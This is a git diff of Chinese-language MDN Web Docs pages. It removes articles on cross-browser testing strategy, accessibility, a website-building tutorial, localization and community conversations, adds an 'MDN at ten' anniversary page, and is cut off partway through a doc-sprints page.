  7. 确保非文本内容有替代文本。 审计工具能够很好地发现问题。
  8. -
  9. 确保颜色和颜色对比度是可接受的,使用合适的工具测试。
  10. -
  11. 确保隐藏的内容可以被屏幕阅读器读取。
  12. -
  13. 尽可能的使功能在没有JavaScript的情况下也可以正常使用。
  14. -
  15. 在合适的地方使用ARIA来提供可访问性。
  16. -
  17. 使用审计工具测试一下你的网站。
  18. -
  19. 使用屏幕阅读器实际测试一下。
  20. -
  21. 在你的网站上可以添加可访问性策略/声明,以说明你的为可访问性做了什么。
  22. -
- -

寻找帮助

- -

可访问性还会遇到许多其他问题。你要学会如何在线查找答案。请查阅HTML和CSS文章的“寻找帮助”部分,以获取一些指导。 

- -

总结

- -

希望本文能让你了解可访问性,以及帮助你解决遇到的一些可访问性问题。

- -

下一篇文章,我们将详细介绍特征检测。

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

- -

指南

- - diff --git "a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\346\265\213\350\257\225\347\255\226\347\225\245/index.html" "b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\346\265\213\350\257\225\347\255\226\347\225\245/index.html" deleted file mode 100644 index fb01cd2843..0000000000 --- "a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\346\265\213\350\257\225\347\255\226\347\225\245/index.html" +++ /dev/null @@ -1,367 +0,0 @@ ---- -title: 进行测试的策略 -slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 -tags: - - 测试 - - 测试策略 - - 用户测试 - - 自动化测试 - - 虚拟机 仿真器 - - 跨浏览器测试 -translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -


- 这篇文章主要是讨论如何进行跨浏览器测试,回答一些比较常见的疑惑,譬如:“什么是跨浏览器测试?”,“会遇到哪些常见的问题?”以及“如何测试、区分以及修复问题?”

- - - - - - - - - - - - -
准备:熟练掌握 HTML, CSS, 和 JavaScript 语言; 了解跨浏览器测试的核心概念
对象:了解跨浏览器测试所涉及的高级概念。
- -

是否需要测试?

- -

开始跨浏览器测试(cross browser testing)之前您需要确定哪些浏览器将进入被测试名单。测试所有用户可能使用的浏览器或移动设备是不可能的——数量太大,而且浏览器和设备总在不断更新。

- -

可行的替代方案是,尝试确保您的网站适用于最常见的浏览器和设备,然后进行防御性编码,以便为您的网站提供最广泛的支持范围。

- -

防御性编码的实质是一种智能回退措施:如果某个功能或样式在浏览器中不起作用,该网站将将降级为不太令人兴奋的东西,但仍然能提供可接受的用户体验——核心是:虽然网站看起来不那么漂亮,仍然可以访问。

- -

本章的目的是建立一个供您在测试时参考的浏览器/设备图表。 您可以根据需要将其设置成简单或复杂版本——常见的方法是具有多个等级的支持,例如:

- -
    -
  1. A 级:普通/现代浏览器(仍在广泛使用):需要彻底测试并提供全面支持。
  2. -
  3. B 级:较旧/较少的浏览器 (少数用户还在使用):测试并提供更基本的体验,以提供对核心信息和服务的完全访问。
  4. -
  5. C 级:稀有/未知浏览器 : 不进行测试,假设网站内容可以显示。 在我们的防御性编码起效的情况下,用户可以访问到网页的全部内容。
  6. -
- -

在以下各节中,我们将以此等级为参考构建支持图表。

- -
-

注意:雅虎最先使这一方法流行起来,详情参见《浏览器分级支持系统》( Graded browser Support)。

-
- -

有根据地假设

- -

您可以称之为“假设”或“直觉”。这不是一种准确,科学的方法,但作为具有网络行业经验的人,您至少应该对待测试的一些浏览器有些想法。这将形成一个良好的初级浏览器分级支持系统。

- -

例如,如果您居住在西欧或北美,您会发现许多人使用 Windows 和 Mac 的台式机或笔记本电脑,主要浏览器是 Chrome,Firefox,Safari,IE 和 Edge。您可以测试前三个浏览器最近的三个版本,因为它们会定期更新。对于Edge和IE,您应当近期的多个版本。这些浏览器都应该属于A级。

- -
-

注意:您一次只能在计算机上安装一个版本的 IE 或 Edge,因此您可能必须使用虚拟机或其他方法来执行所需的测试。稍后请参阅虚拟机部分{{anch("Virtual machines")}}。

-
- -

很多人使用 iOS 和 Android,因此您可能还想测试最新版本的 iOS Safari,最近几个版本的 Android stock 浏览器,以及适用于 iOS 和 Android 的 Chrome 和 Firefox。理想情况下,您应该在手机和平​​板电脑上测试这些,以确保响应式设计的正常运行。

- -

您也许知道很多人仍然在使用 IE 9。这一版本陈旧而且功能较少,所以让我们把它放在B级别。

- -

到目前为止,这为我们提供了以下支持级别:

- -
    -
  1. A 级:用于 Windows / Mac 的 Chrome 和 Firefox,用于 Mac 的 Safari,用于 Windows的 Edge 和 IE(每个版本的最后两个版本),用于 iPhone / iPad 的 iOS Safari,用于手机/平板电脑的 Android stock 浏览器(最后两个版本),用于手机和平板电脑上的 Chrome 和适用于 Android 的Firefox(最后两个版本)。
  2. -
  3. B 级:适用于 Windows 的 IE 9
  4. -
  5. C 级:无
  6. -
- -

如果您居住在其他地方,或者正在开发其他地方(例如某些国家或地区)的网站,那么您可能会有不同的常用浏览器进行测试。

- -
-

注意:“我老板用Blackberry,所以我们最好确保它看起来很好”也可以是一个有说服力的论点。

-
- -

浏览器支持检测

- -

您可以调用的一个有用的措施是浏览器支持统计信息,用于告知您的浏览器测试选项。有许多网站提供此类统计信息,例如:

- - - -

这些都以北美为中心,并不特别准确,但它们可以让您了解大趋势。

- -

例如,让我们转到 Netmarketshare。您可以看到 Opera 被列为具有小但可见的使用数字,因此,我们也应该将其添加到支持图表中,作为 C 级。

- -

IE8 被列为重要,但它较老且不再能够。Opera Mini 非常重要,但在运行时运行复杂的 JavaScript 方面,它的能力并不大(有关详细信息,请参阅 Opera Mini and JavaScrip)。我们也应该把它放到B级。

- -

使用分析工具

- -

更准确的数据源,如果你能得到它,来自像Google Analytics这样的分析应用程序。这是一个应用程序,将为您提供准确的统计数据,究竟是什么浏览器的人正在使用浏览您的网站。当然,这依赖于您已经有一个网站使用它,所以它是没有多大的适合全新的网站。

- -

但是,分析历史记录可用于查找支持统计信息以影响公司网站的新版本或要添加到现有站点的新功能。如果您有这些可用,它们比上述全球浏览器统计信息更准确。

- -

配置Google分析

- -
    -
  1. 首先,您需要一个谷歌帐户。使用此帐户可登录Google Analytics。 
  2. -
  3. 选择 Google Analytics (web))选项,然后单击"注册"按钮。
  4. -
  5. 在注册页面中输入您的网站/应用详细信息。这是相当直观的设置;获得正确的最重要的字段是网站 URL。这需要是您的网站/应用的根 URL。
  6. -
  7. 填写完所有内容后,按"获取跟踪 ID"按钮,然后接受显示的服务条款。
  8. -
  9. 下一页为您提供一些代码段和其他说明。对于基本网站,您需要做的是复制网站跟踪代码块,并将其粘贴到您要在网站上使用 Google Analytics 跟踪的所有不同页面。您可以在关闭</body>标记下方,也可以位于其他适当位置,以防止其与应用程序代码混淆。
  10. -
  11. 将更改上载到开发服务器,或将代码上载到其他任何位置。
  12. -
- -

就是这样!您的网站现在应该准备好开始报告分析数据。

- -

学习分析数据

- -

现在,您应该能够返回 Analytics Web主页,并开始查看您收集的有关网站的数据(当然,您需要留出一点时间才能真正收集一些数据)。

- -

默认情况下,您应该看到报告选项卡,如下所示:

- -

- -

有大量的数据,你可以看看使用谷歌分析––自定义报告在不同的类别,等等––我们没有时间讨论这一切。 Getting started with Analytics 为初学者提供了一些有关报告(以及更多)的有用指导。

- -

还应鼓励您查看左侧的不同选项,并查看您可以找到哪些类型的数据。例如,您可以通过从左侧菜单中选择" Audience > Technology > Browser & OS"来了解用户正在使用的浏览器和操作系统。

- -
-

注意:使用 Google 分析时,您需要提防误导性偏见,例如"我们没有 Firefox 移动用户"可能会导致您不必为 Firefox 移动提供支持。但是,你不会有任何火狐移动用户,如果该网站被打破在火狐手机摆在首位。

-
- -

其他注意事项

- -

您可能还应包括其他注意事项。您绝对应该将辅助功能作为 A 级测试要求(我们将在处理常见辅助功能问题一文中介绍您应该测试的内容)

- -

此外,您可能还有其他注意事项。如果要创建某种公司 Intranet,以便向经理提供销售数据,并且例如,所有经理都提供了 Windows 手机,则可能需要将移动 IE 支持作为优先事项。

- -

最终的支持图表

- -

因此,我们的最终支持图表最终将如下所示:

- -
    -
  1. A 级:适用于 Windows/Mac 的 Chrome 和 Firefox、适用于 Mac 的 Safari、Windows 的"边缘"和"IE"(每个版本的最后两个版本)、iPhone/iPad 的 iOS Safari、手机/平板电脑上的 Android 股票浏览器(最后两个版本)、适用于 Android 的 Chrome 和 Firefox(最后两个版本)在手机平板电脑上.通过常见测试的可访问性。
  2. -
  3. B 级:IE 8 和 9 用于 Windows,Opera Mini。
  4. -
  5. C级:Opera,其他合适的现代浏览器。
  6. -
- -

你想要测试什么?

- -

当您的代码库有需要测试的新添加项时,在开始测试之前,应编写出需要通过才能接受的测试要求列表。这些要求可以是可视的,也可以是功能性的, 两者结合起来, 成为可用的网站功能。

- -

思考下面的例子 (查看源码 , 在线预览):

- -

- -

此功能的测试标准可以这样编写:

- -

A 级和 B 级:

- - - -

A 级:

- - - -

You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).您可能会从示例中的文本中注意到它在 IE8 中不起作用 ––根据我们的支持图表,这是一个问题,您必须处理这个问题,如果浏览器不采用其他方式,则可能使用功能检测库以不同的方式实现功能(如果浏览器不支持 CSS 转换的话)(请参阅实现功能检测,稍后将在本课程中)。

- -

您可能还注意到,该按钮仅使用键盘无法使用, 这也需要纠正。也许我们可以使用一些JavaScript来实现一个键盘控件的切换,或者完全使用一些其他的方法?

- -

这些测试条件很有用,因为:

- - - -

建立一个测试实验室

- -

执行浏览器测试的一个选项是自己进行测试。为此,您可能需要使用实际物理设备和模拟环境的组合(使用仿真器或虚拟机)。

- -

真实设备

- -

通常最好让一个实际的设备运行您要测试的浏览器 , 这在行为和整体用户体验方面提供了最高的准确性。对于合理的低级设备实验室,您可能需要以下内容:

- - - -

如果可以获取这些选项,则以下是不错的选项:

- - - -

您的主工作计算机也可以用于安装其他工具以用于特定目的,例如辅助功能审核工具、屏幕阅读器和仿真器/虚拟机。

- -

一些大型公司拥有设备实验室,这些实验室库存了大量不同的设备,使开发人员能够在非常具体的浏览器/设备组合上查找 Bug。较小的公司和个人通常负担不起如此复杂的实验室,因此倾向于使用较小的实验室、仿真器、虚拟机和商业测试应用程序。

- -

我们将介绍下面的其他选项。

- -
-

注意:已做出一些努力用来创建可公开访问的设备实验室, 请参阅 Open Device Labs

-
- -
-

注意:我们还需要考虑辅助功能 — 可以在计算机上安装许多有用的工具,以方便辅助功能测试,但我们将在本课程的后面部分介绍"处理常见辅助功能问题"一文中的工具。

-
- -

模拟器

- -

仿真器基本上是在计算机内运行并模拟某种设备或特定设备条件的程序,允许您比查找要测试的特定硬件/软件组合更方便地执行某些测试。

- -

仿真器可能与测试设备条件一样简单。例如,如果要对宽度/高度媒体查询进行一些快速而粗劣的测试以进行响应式设计,则可以使用 Firefox 的Responsive Design Mode。 Safari 也有类似的模式,可以通过访问 “Safari > 首选项”和"显示开发"菜单,然后选择"开发"&gt;"输入响应式设计模式"来启用。  Chrome 也有类似的功能:设备模式(请参阅Simulate Mobile Devices with Device Mode)。

- -

不过,您经常必须安装某种仿真器。要测试的最常见设备/浏览器如下所示:

- - - -

您也经常可以为其他移动设备环境找到模拟器,例如:

- - - -
-

注意:许多模拟器实际上需要使用虚拟机(见下文);在这种情况下,通常提供指令,和/或将虚拟机的使用合并到仿真器的安装程序中。

-
- -

虚拟机

- -

虚拟机是在台式计算机上运行的应用程序,允许您运行整个操作系统的仿真,每个操作系统都划分在自己的虚拟硬盘驱动器中(通常由主机硬盘上存在的单个大文件表示)。有许多流行的虚拟机应用程序可用,例如ParallelsVMWareVirtual Box;我们个人喜欢后者,因为它是免费的。

- -
-

注意:您需要可用的大容量硬盘空间来运行虚拟机模拟;模拟的每个操作系统都会占用大量内存。您可能倾向于为每次安装选择所需的硬盘空间;你也可能会试图侥幸使用10GB空间,但会被建议使用50GB空间或更多,以便让操作系统运行可靠。大多数虚拟机应用程序提供的一个很好的选择是创建一个动态分配(dynamically allocated)的硬盘驱动器,它会随着需要的增长和缩小而动态改变。

-
- -

要使用虚拟盒,您需要:

- -
    -
  1. 获取要模拟的操作系统的安装程序磁盘或映像(例如ISO文件)。 Virtual Box无法提供这些;大多数,如Windows操作系统,是无法自由分发的商业产品。
  2. -
  3. 下载适用于您的操作系统的相应安装程序并进行安装。
  4. -
  5. 打开应用程序;您将看到如下视图:
  6. -
  7. 要创建新虚拟机,请按左上角的“新建”按钮。
  8. -
  9. 按照说明进行操作,并根据需要填写以下对话框。你会: -
      -
    1. 为新虚拟机提供名称
    2. -
    3. 选择要在其上安装的操作系统和版本
    4. -
    5. 设置应分配多少RAM(我们建议使用2048MB或2GB)
    6. -
    7. 创建虚拟硬盘(在包含立即创建虚拟硬盘,VDI(虚拟磁盘映像)和动态分配的三个对话框中选择默认选项)。
    8. -
    9. 选择虚拟硬盘的文件位置和大小(选择一个合理的名称和位置来保留它,并且大小指定大约50GB,或者您可以轻松指定)。
    10. -
    -
  10. -
- -

现在,新的虚拟框应出现在Virtual Box UI主窗口的左侧菜单中。此时,您可以双击它以打开虚拟机––它将开始启动虚拟机,但它还没有安装操作系统。此时,您需要将对话框指向安装程序映像/磁盘,它将运行在虚拟机上安装它的步骤,就像它是真正的计算机一样。

- -

- -
-

重要提示:您需要确保此时要在虚拟机上安装要安装的操作系统映像,然后立即安装。如果此时取消该进程,它可能会使虚拟机无法使用,并使其成为您需要删除它并再次创建它。这不是致命的,但令人讨厌。

-
- -

完成此过程后,您应该有一台虚拟机在主机窗口内运行操作系统。

- -

- -

您需要像处理任何实际安装一样处理此虚拟操作系统安装 - 例如,安装要测试的浏览器,安装防病毒程序以保护其免受病毒侵害。

- -

拥有多个虚拟机非常有用,特别是对于Windows IE / Edge测试 - 在Windows上,您无法并排安装多个版本的默认浏览器,因此您可能需要构建一个虚拟机库来处理根据需要进行不同测试,例如:

- - - -
-

注意:虚拟机的另一个好处是虚拟磁盘映像是相当独立的。如果您正在团队中工作,则可以创建一个虚拟磁盘映像,然后复制并传递它。如果它是许可产品,只需确保您拥有运行所有Windows副本或正在运行的任何其他副本所需的许可证。

-
- -

自动化和商业应用

- -

正如上一章所述,通过使用某种自动化系统,您可以从浏览器测试中减少很多痛苦。您可以设置自己的测试自动化系统(Selenium是首选的流行应用程序),它确实需要一些设置,但是当您解决问题时可能会相当受益。

- -

还有一些商业工具,如Sauce LabsBrowser Stack,可以为您做这种事情,如果您愿意在测试中投入一些资金,则无需担心设置的问题。

- -

我们将在后续文章中查看如何使用此类工具。

- -

用户测试

- -

在我们继续之前,我们将通过谈论用户测试来完成本文––如果您有一个愿意用户组来测试您的新功能,这可能是一个很好的选择。请记住,这可以像你希望的那样廉价又有效––你的用户群可以是一群朋友,一群同事,或一群无偿或有偿志愿者,这取决于你是否有钱花在测试上。

- -

通常,您可以让用户在某种开发服务器上查看包含新功能的页面或视图,这样您就不会在完成之前放置最终站点或更改。你应该让他们按照一些步骤报告他们得到的结果。提供一组步骤(有时称为脚本)非常有用,这样您就可以获得与您尝试测试的内容相关的更可靠的结果。我们在上面的{{anch("What are you going to test")}} 部分中提到了这一点––很容易将其中详述的测试标准转换为要遵循的步骤。例如,以下内容适用于有视力的用户:

- - - -

运行测试时,最好还是:

- - - -

这些步骤旨在确保您正在测试的浏览器尽可能“纯粹(pure)”,即没有安装任何可能影响测试结果的内容。

- -
-

注意:如果您有可用的硬件,另一个有用的低功耗选项是在低端手机/其他设备上测试您的网站 - 随着网站变得更大并且具有更多效果,网站放慢速度的可能性更高,因此您需要开始给予表现更多考虑。尝试在低端设备上运行您的功能将使更高端设备的体验更有可能。

-
- -
-

注意:某些服务器端开发环境提供了有用的机制,可以将站点更改部署到仅部分用户,从而提供了一种有用的机制,可以在不需要单独的开发服务器的情况下获取由用户子集测试的功能。示例:Django Waffle Flags

-
- -

总结

- -

阅读本文后,您现在应该知道如何识别目标受众/目标浏览器列表,然后在该列表上有效地执行跨浏览器测试。

- -

接下来,我们将把注意力转向测试可能发现的实际代码问题,从HTML和CSS开始。

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}

- - - -

本章内容

- -

-

diff --git a/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html b/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html deleted file mode 100644 index 9e2e40d682..0000000000 --- a/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: 如何建设一个网站 -slug: Learn/tutorial/How_to_build_a_web_site -translation_of: Learn -translation_of_original: Learn/tutorial/How_to_build_a_web_site ---- -

  当我们在学习网页设计时,许多人都希望尽快建设一个属于自己的网站。为了让你建站之路更平坦,我们已经缩小了你所需要的最低限度的知识。

- -

我们建议你先从这儿的文章开始 ,认真学习它们,如果你在学习中有关术语的问题,请用我们的词汇表.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 理论
- 知识
技术
- 知识
实践
- 知识
1开始你的web项目
- 在这篇文章中我们首先讨论了在任何一个项目中你所必要的一步:确定你要完成什么和为什么.
  
2英特网是如何工作的
- 这篇文章将为你解释什么是英特网以及它是如何工作的。
  
3 了解网页、网站、服务器、以及搜索引擎之间的不同网络服务器是什么?
- 在这篇文章中,我们将要论述什么是网络服务器,它们是如何运作的以及它们为什么如此重要.
我们需要什么软件(它们用来干什么)?
- 在文中我们将要介绍你在编辑网页,上传文件,以及管理网站中你需要什么软件。
4了解网络上的链接
- 在文章中, 我们将详细的论述网络链接, 这个在万维网中相当重要的一个角色.
  
5了解URLs以及它们的构成
- 在这篇文章中,我们将介绍URLs是什么(同一资源定位器)以及它们是如何构成的。
认识域名
- 在这篇文章中,我们将对域名留下深刻印象:域名是什么,它们如何构成,以及怎样获取一个域名。
 
6剖析一个网页
- 当你在做你自己的网站时,你最好知道一些普通的设计.
 在网上做些什么花费多少钱?
- 涉及到互联网的东西并不像它看起来那么便宜。在文中我们将论述你可能花费多少钱以及为什么。
7设计之外,基础的网页设计 选择下载安装一个编辑器
- 在这篇文章中,我们强调一些事情关于下载安装编译器用于网站开发。
8  创建一个基本的工作环境
- 这篇文章让你用工作站建立你的网站
9 用HTML写一个简单的网页
- 学习如何创造一个简单的网页。
打开文件在你的浏览器中r
- 这篇文章讲解了在浏览器中通过各种方式接入文件,以及这种正确的方式为什么如此重要。
10 什么是HTML标签&如何使用它们
- 这篇文章包含了 HTML 基础:什么是标签以及如何使用它们。
上传文件到服务器
- 本文介绍了如何使用FTP工具发布你的网站
11   -

检查你的网站是否工作正常
- 本指南概述了一些找到并修复常见错误的策略

-
- -

这些是都是你需要的第一个网站学习的基本知识,但如果你想做出更高端更专业的网站,请继续往下读:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 理论
- 知识
技术
- 知识
实践
- 知识
12人们需要什么才能查看你的网站  
13 在你的网页中使用CSS
- 本文将介绍如何使用CSS样式表来改变你的网页样式
 
14什么是无障碍性网页
- 本文介绍了无障碍性网页背后的基本概念。
什么是CSS属性以及该如何使用它们
- CSS特性应该如何使用。本文介绍了图和使用CSS属性选择器应用HTML元素
 
15为各类用户设计101
- 本文提供了基本的无障碍性网站技巧
-

CSS基本的文字排版
- 最常见的CSS属性概述

-
 
16 使用图片 
17避开在网页设计中的常见陷阱用户体验(UX)基础设计导航菜单
- -

 

diff --git a/files/zh-cn/learn/tutorial/index.html b/files/zh-cn/learn/tutorial/index.html deleted file mode 100644 index 922d45fbc1..0000000000 --- a/files/zh-cn/learn/tutorial/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Tutorials -slug: Learn/tutorial -tags: - - Index - - NeedsTranslation - - TopicStub -translation_of: Learn -translation_of_original: Learn/tutorial ---- -

It's great to know about Web technologies and the concepts behind them, but at some point it's time to turn theory into practice. We've set up some pathways that will help you get results with Web technology and enjoy the power you unlock as you learn!

- -
-
-

The basics

- -

These are the essentials to follow if you're starting out with Web development.

- -
-
How to build a website
-
This tutorial leads you through all the steps to building a website from scratch.
-
Information Security Basics
-
This tutorial explains the basic principles of information security and how to apply them, especially in cryptography.
-
-
- -
-

In depth

- -

The following provides more advanced use cases for seasoned web developers.

- -
-
Building Web Apps
-
Web Apps are applications that run in a web browser, and you need specific knowledge to become adept at building them. Find out everything you need to know here on MDN!
-
-
-
- -

 

diff --git a/files/zh-cn/learn/web_mechanics/index.html b/files/zh-cn/learn/web_mechanics/index.html deleted file mode 100644 index 53aac91402..0000000000 --- a/files/zh-cn/learn/web_mechanics/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Web 工程学 -slug: learn/Web_Mechanics -tags: - - Web 工程学 - - 初学者 -translation_of: Learn/Common_questions -translation_of_original: Learn/Web_Mechanics ---- -

请访问 常见问题

diff --git a/files/zh-cn/localization/index.html b/files/zh-cn/localization/index.html deleted file mode 100644 index aafe809a5d..0000000000 --- a/files/zh-cn/localization/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 本地化 -slug: Localization -translation_of: Glossary/Localization ---- -

Localization (L10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture. These resources are for anyone with an interest in the technical aspects involved in localization. They are for developers and all contributors.

- - - - - - - -
-

Documentation

-
-
- Localization Quick Start Guide
-
- First read for volunteers wanting to start localizing.
-
- XUL Tutorial:Localization
-
- XUL Tutorial section on localizing XUL applications.
-
- Writing localizable code
-
- Best practices and guidelines for programmers to play nicely with localization.
-
- Localizing Help files
-
- How to separate content from HTML to make these files more easy to localize.
-
- Custom dialog size
-
- How to adjust window sizes to fit specific localizations.
-
- Localizing extension descriptions
-
- To localize the description of an extension (the string that shows up under extension's name in the Extensions window), you need to use a special preference key to override the description specified in your install.rdf file. This article contains instructions on how to modify this preference key.
-
- Frequently Asked Localization Questions
-
- Frequently asked questions about localization.
-
-

View All...

-
-

Community

-
    -
  • View Mozilla forums...
  • -
-

{{ DiscussionList("dev-l10n", "mozilla.dev.l10n") }}

- - - -
-

 

diff --git "a/files/zh-cn/mdc_colon_\346\200\216\346\240\267\350\277\233\350\241\214\345\270\256\345\212\251/index.html" "b/files/zh-cn/mdc_colon_\346\200\216\346\240\267\350\277\233\350\241\214\345\270\256\345\212\251/index.html" deleted file mode 100644 index 8e298ed29b..0000000000 --- "a/files/zh-cn/mdc_colon_\346\200\216\346\240\267\350\277\233\350\241\214\345\270\256\345\212\251/index.html" +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: 'MDC:How to Help' -slug: 'MDC:怎样进行帮助' -translation_of: MDN/Contribute -translation_of_original: 'MDC:How_to_Help' ---- -

你好,世界!

diff --git a/files/zh-cn/mdn/at_ten/index.html b/files/zh-cn/mdn/at_ten/index.html new file mode 100644 index 0000000000..fa9ddcf29d --- /dev/null +++ b/files/zh-cn/mdn/at_ten/index.html @@ -0,0 +1,37 @@ +--- +title: Mozilla开发者网络10周年 +slug: MDN_at_ten +translation_of: MDN_at_ten +--- +
为我们web技术的文档化走过10年而庆祝!
+ +
+
+

MDN历史

+ +

2005年初,一个理想者组成的小团队建立起来并开始为所有的Web开发者提供实时、免费和社区驱动的在线资源.。他们杰出而不寻常的想法逐渐演化成了今天的Mozilla开发者网络——一个领先和全面的开放Web技术资源库。十年后, 我们全球化的社区变得更加的强大, 同时,为了能给广泛的网络技术公司提供技术上的支持,我们还坚持编写文档, 案例代码 以及学习资源 ,其中就包括像 CSS, HTML, JavaScript 以及各种能够使得网络变得更加强大的东西。

+ +

了解更多about the history

+ + +

为MDN做出贡献

+ +

十年来,MDN社区已经几乎给开放网络贡献了无限多的文档,从最小的字符修改到编写整个一系列新的API,对开放网络,社区中的每个人都有贡献,每个人既不会付出太多也不会太少。我们已经有超过90000页的文档或内容被社区中突出的智谋人(Mozillians)编辑或者被翻译。你将会成为我们中的一员。

+ +

了解更多about contributing

+ +

 

+ +

 

+
+ +
{{TenthCampaignQuote}}
+ +

子目录

+ +
    +
  1. MDN10周年
  2. +
  3. MDN历史
  4. +
  5. 为MDN贡献
  6. +
+
diff --git a/files/zh-cn/mdn/community/conversations/index.html b/files/zh-cn/mdn/community/conversations/index.html deleted file mode 100644 index e37d40486e..0000000000 --- a/files/zh-cn/mdn/community/conversations/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: MDN 社区对话 -slug: MDN/Community/Conversations -tags: - - 不完善的 - - 后期还需要改善 - - 社区相关 - - 经过一次润色的 -translation_of: MDN/Community/Conversations ---- -
{{MDNSidebar}}
- -

MDN的“工作”在MDN网站开展,但“社区”也通过(异步)讨论以及(同步)在线聊天和会议开展。

- -

异步讨论

- -

为了分享信息并进行持续的讨论,MDN在Mozilla话语论坛中有自己的类别(“MDN”) 将此类别用于与MDN相关的所有主题,包括文档内容的创建,翻译和维护; MDN平台开发; 并进行规划,目标设定和进度跟踪。

- - - -

历史档案

- -

在2017年6月之前,MDN相关的讨论发生在与Google群组关联并归档的邮件列表中。 如果您想搜索这些过去的讨论,您可以查看与旧邮件列表相对应的Google网上论坛。 是的,我们知道这些名字是重叠和混淆。历史的偶然性。对此我们感到很抱歉。

- -
-
mozilla.dev.mdc
-
此列表用于讨论MDN上的文档内容。
-
mozilla.dev.mdn
-
此列表涉及MDN底层Kuma平台的开发工作。
-
mozilla.mdn
-
这个论坛是针对高层次的规划和优先级讨论,MDN网站和其他相关举措。
-
- - - -

同步聊天

- -

Mozilla实时的讨论平台是Matrix,Mozilla自己拥有使用这个通讯协议的服务器。网页中即可加入讨论。

- -

MDN Web文档聊天室是为讨论MDN内容的主要频道。我们探讨编写、内容编排等内容。我们也会进行“茶水间”讨论(摸鱼),这是我们的社群保持联系,或者仅仅用来消遣的方式。通常在北美和欧洲的工作日,这间聊天室最为活跃。

- -

你或许会想了解一下怎么使用Mozilla的Matrix,然后呢,如果你真的很喜欢它的话,那么可以安个独立的Matrix应用,例如Riot.im

- -

那么IRC呢?

- -

多年来,Mozilla用互联网中继聊天(IRC)来进行实时讨论。到了2020年初,Matrix已经把IRC淘汰了。你可能会在很多地方看到有人提到IRC的频道,包括MDN上。你可以帮忙更新MDN上你看到的IRC频道的链接,为指向对应Matrix聊天室的链接。如果你不确定这个话题对应的Matrix聊天室是哪间,那么可以来General聊天室询问。不再活跃的项目和话题可能也不会有Matrix聊天室,如果是这样的话,把链接删掉即可。

- -

参加我们的会议(和其他活动)

- -


- MDN团队会举行一些面向MDN社区的定期会议。查看 Mozilla维基上的MDN Meetings 页面获取关于日程、议程和笔记的细节,以及如何参加的信息。

- -

查看MDN Events calendar上的这些和其他会议、当地聚会和其他项目。在 MDN Meetings wiki page上有定期会议

- -

如果你看到一个在Vidyo videoconferencing系统的“mdn”频道举行的会议,你可以在网上加入谈话

diff --git a/files/zh-cn/mdn/community/doc_sprints/index.html b/files/zh-cn/mdn/community/doc_sprints/index.html deleted file mode 100644 index ca1da4be91..0000000000 --- a/files/zh-cn/mdn/community/doc_sprints/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Doc sprints -slug: MDN/Community/Doc_sprints -tags: - - NeedsUpdate -translation_of: MDN/Community/Doc_sprints ---- -
{{MDNSidebar}}
- -

{{ draft() }}

- -
-

Note: MDN社区在2010 - 2013年期间经常举办文档迭代。 从2014年开始,这些事件的范围扩大到“Hack on MDN”事件,其中包括代码窃取以及文档项目。 下面的大部分建议同样适用于 "Hack" sprints和documentation sprints。

-
- -

这是组织documentation sprint的指南。 它包含来自组织doc sprints的人的建议和提示,以帮助您更好的组织文档。 本指南还借鉴了FLOSS手册书籍的书籍。

- -

什么是 doc sprint?

- -

doc sprint 是一段时间,一群人像你一样可爱的人,合作撰写关于给定主题或相关主题的文档。

- -

sprints 的分类

- -

sprints可以是线上的,也可以是线下的,也可以线上线下一起进行。对于线上sprints而言,每个人都可以在不同的地区参与,只需要通过中间渠道进行沟通。对于线下sprints,参加者在sprints期间聚集在同一地区,以便他们可以面对面进行交流。线下sprints需要更多的后勤规划,确保会议地点,可以容纳所有参与者,并且在sprints期间需要提供食物与安置参与者。

- -

另一种分类sprints的方式是通过专题聚焦。例如sprint可能关注特定的主题,比如:Web开发,或翻译特定语言。

- -

计划一次 sprint

- -

设定目标

- -

明确这次 sprint的目标, 包括内容和社区效应。 这能够帮助你更好地计划低层次的细节。

- - - -

决定类型和范围

- -

基于你的目标, 确定 sprint的类型 (线上的,也可以是线下的,或者是线上线下一起进行) 和范围 (这是参与者会关注的)。

- -

比如说,你想要吸引新的社区成员,你可以选择本地的线下sprint, 因为不需要长途旅行, 而且参加者还可以见面. 如果您想要专注于特定的主题领域,其中内容贡献者是地理上分离的,而且早就彼此认识,那么一个线上sprint就很合适。

- -

选择日期和时间

- -

